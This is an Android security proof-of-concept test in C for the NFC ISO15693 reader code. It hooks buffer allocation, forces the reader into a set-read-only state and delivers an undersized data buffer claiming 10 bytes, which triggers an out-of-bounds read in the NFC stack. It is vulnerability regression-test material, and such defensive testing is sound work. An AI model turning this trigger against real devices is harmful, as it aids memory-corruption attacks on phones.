/*
 * Copyright (C) 2020 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

#include <stdlib.h>
#include "../includes/common.h"
#include "../includes/memutils.h"

char enable_selective_overload = ENABLE_NONE;

#include <dlfcn.h>
#include <nfc_api.h>
#include <nfc_int.h>
#include <rw_int.h>
#include <tags_defs.h>

// borrowed from rw_i93.cc
extern tRW_CB rw_cb;
extern tNFC_CB nfc_cb;
void rw_init(void);
tNFC_STATUS rw_i93_select(uint8_t *p_uid);

bool kIsInitialized = false;

// borrowed from rw_i93.cc
enum {
  RW_I93_STATE_NOT_ACTIVATED, /* ISO15693 is not activated            */
  RW_I93_STATE_IDLE,          /* waiting for upper layer API          */
  RW_I93_STATE_BUSY,          /* waiting for response from tag        */

  RW_I93_STATE_DETECT_NDEF,   /* performing NDEF detection precedure  */
  RW_I93_STATE_READ_NDEF,     /* performing read NDEF procedure       */
  RW_I93_STATE_UPDATE_NDEF,   /* performing update NDEF procedure     */
  RW_I93_STATE_FORMAT,        /* performing format procedure          */
  RW_I93_STATE_SET_READ_ONLY, /* performing set read-only procedure   */

  RW_I93_STATE_PRESENCE_CHECK /* checking presence of tag             */
};

// borrowed from rw_i93.cc
enum {
  RW_I93_SUBSTATE_WAIT_UID,          /* waiting for response of inventory    */
  RW_I93_SUBSTATE_WAIT_SYS_INFO,     /* waiting for response of get sys info */
  RW_I93_SUBSTATE_WAIT_CC,           /* waiting for reading CC               */
  RW_I93_SUBSTATE_SEARCH_NDEF_TLV,   /* searching NDEF TLV                   */
  RW_I93_SUBSTATE_CHECK_LOCK_STATUS, /* check if any NDEF TLV is locked      */

  RW_I93_SUBSTATE_RESET_LEN,  /* set length to 0 to update NDEF TLV   */
  RW_I93_SUBSTATE_WRITE_NDEF, /* writing NDEF and Terminator TLV      */
  RW_I93_SUBSTATE_UPDATE_LEN, /* set length into NDEF TLV             */

  RW_I93_SUBSTATE_WAIT_RESET_DSFID_AFI, /* reset DSFID and AFI */
  RW_I93_SUBSTATE_CHECK_READ_ONLY,   /* check if any block is locked         */
  RW_I93_SUBSTATE_WRITE_CC_NDEF_TLV, /* write CC and empty NDEF/Terminator TLV
                                      */

  RW_I93_SUBSTATE_WAIT_UPDATE_CC, /* updating CC as read-only             */
  RW_I93_SUBSTATE_LOCK_NDEF_TLV,  /* lock blocks of NDEF TLV              */
  RW_I93_SUBSTATE_WAIT_LOCK_CC    /* lock block of CC                     */
};

static void *(*real_GKI_getbuf)(uint16_t size) = nullptr;
static void (*real_GKI_freebuf)(void *ptr) = nullptr;

void init(void) {
  real_GKI_getbuf = (void *(*)(uint16_t))dlsym(RTLD_NEXT, "_Z10GKI_getbuft");
  if (!real_GKI_getbuf) {
    return;
  }

  real_GKI_freebuf = (void (*)(void *))dlsym(RTLD_NEXT, "_Z11GKI_freebufPv");
  if (!real_GKI_freebuf) {
    return;
  }

  kIsInitialized = true;
}

void *GKI_getbuf(uint16_t size) {
  if (!kIsInitialized) {
    init();
  }
  return malloc(size);
}

void GKI_freebuf(void *ptr) {
  if (!kIsInitialized) {
    init();
  }
  free(ptr);
}

int main() {
  tRW_I93_CB *p_i93 = &rw_cb.tcb.i93;

  GKI_init();
  rw_init();

  uint8_t p_uid = 1;
  if (rw_i93_select(&p_uid) != NFC_STATUS_OK) {
    return EXIT_FAILURE;
  }

  tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
  tNFC_CONN_EVT event = NFC_DATA_CEVT;
  p_i93->state = RW_I93_STATE_SET_READ_ONLY;
  p_i93->sub_state = RW_I93_SUBSTATE_WAIT_CC;
  p_i93->block_size = 255;

  enable_selective_overload = ENABLE_ALL;
  tNFC_CONN *p_data = (tNFC_CONN *)malloc(sizeof(tNFC_CONN));
  if (!p_data) {
    return EXIT_FAILURE;
  }

  p_data->data.p_data = (NFC_HDR *)GKI_getbuf(sizeof(NFC_HDR));
  if (!(p_data->data.p_data)) {
    free(p_data);
    return EXIT_FAILURE;
  }
  enable_selective_overload = ENABLE_NONE;

  (p_data->data.p_data)->len = 10;
  p_data->data.p_data->offset = 0;
  p_data->status = NFC_STATUS_OK;

  p_cb->p_cback(0, event, p_data);

  free(p_data);
  return EXIT_SUCCESS;
}
